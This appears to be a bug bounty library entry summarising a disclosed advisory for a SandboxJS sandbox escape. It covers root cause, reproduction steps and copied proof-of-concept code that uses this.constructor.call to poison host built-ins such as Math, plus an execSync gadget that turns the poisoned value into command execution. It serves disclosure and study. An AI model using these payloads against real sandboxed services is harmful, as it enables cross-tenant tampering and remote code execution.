# SandboxJS: Sandbox integrity escape

SandboxJS blocks direct global writes but `this.constructor.call(Math, {...})` reaches SandboxGlobal's copying constructor, letting sandboxed code poison host globals process-wide.

- Payout: Research
- Severity: critical
- Program: SandboxJS
- Found by: fancymalware
- Disclosed: 2026-04-03
- CVE: CVE-2026-34208
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-2gg9-6p7w-6cpj
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-2gg9-6p7w-6cpj
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:source-review vuln:prototype-pollution vuln:sandbox-escape

**Target:** npm library @nyariv/sandboxjs sandbox executor
**Root cause:** Write-time checks in assignCheck only guard assignment opcodes against objects marked isGlobal; the reachable SandboxGlobal constructor copies arbitrary keys into `this`, so calling it via Function.prototype.call writes to host globals without passing the check.
**Steps:**
1. Install `npm i @nyariv/sandboxjs@0.8.35`
2. Confirm direct write is blocked: `run('Math.random = () => 1')` throws 'Cannot assign property ... of a global object'
3. Bypass via constructor: `run('this.constructor.call(Math, { random: () => "pwned" })')`
4. Observe host `Math.random()` returns 'pwned' and a fresh sandbox `run('return Math.random()')` also returns 'pwned'
5. Second PoC: `run('this.constructor.call(Math, { cmd: "id" })')` then host `execSync(Math.cmd)` executes `id`
**How found:** Noted the safety model relies solely on write-time assignment checks; reasoned that any reachable host callable performing internal writes (the SandboxGlobal constructor copying keys into `this`) would sidestep the check, then reached it via `this.constructor` and Function.prototype.call.
**Exploitation:** Untrusted sandboxed code resolves `this.constructor` to SandboxGlobal and invokes it with `.call(target, payloadObject)`, writing attacker-chosen properties into host built-ins like Math or JSON. Mutations persist process-wide across sandbox instances; if host code later feeds a mutated property into a sensitive sink (e.g. execSync(Math.cmd)), it yields command execution.
**Escalation:** Poisoned built-ins persist across tenants/requests in the same process; chained into host gadgets that consume mutated globals (execSync on Math.cmd) to reach RCE.
**Insight:** When a sandbox guards only assignment opcodes, enumerate every reachable host function that writes properties internally (constructors, setters, merge/copy helpers) and check whether the generic call path enforces the same restrictions; `this.constructor` on the sandbox global is a prime pivot.

## Proof of concept (copied exactly from the original report)

**Bypass overwriting host Math.random via constructor.call**

```
run(`this.constructor.call(Math, { random: () => 'pwned' })`);
  console.log('With bypass (host Math.random()):', Math.random());
  console.log('With bypass (fresh sandbox Math.random()):', run('return Math.random()'));
```

**Bypass injecting Math.cmd then execSync gadget**

```
run(`this.constructor.call(Math, { cmd: 'id' })`);
  console.log('With bypass (host command source Math.cmd):', Math.cmd);
  console.log(
    'With bypass + host gadget execSync(Math.cmd):',
    execSync(Math.cmd, { encoding: 'utf8' }).trim(),
```

**Minimal payload overwriting Math.random**

```
const SG = this.constructor;
SG.call(Math, { random: () => 'pwned' });
overwrites host `Math.random` successfully.
```

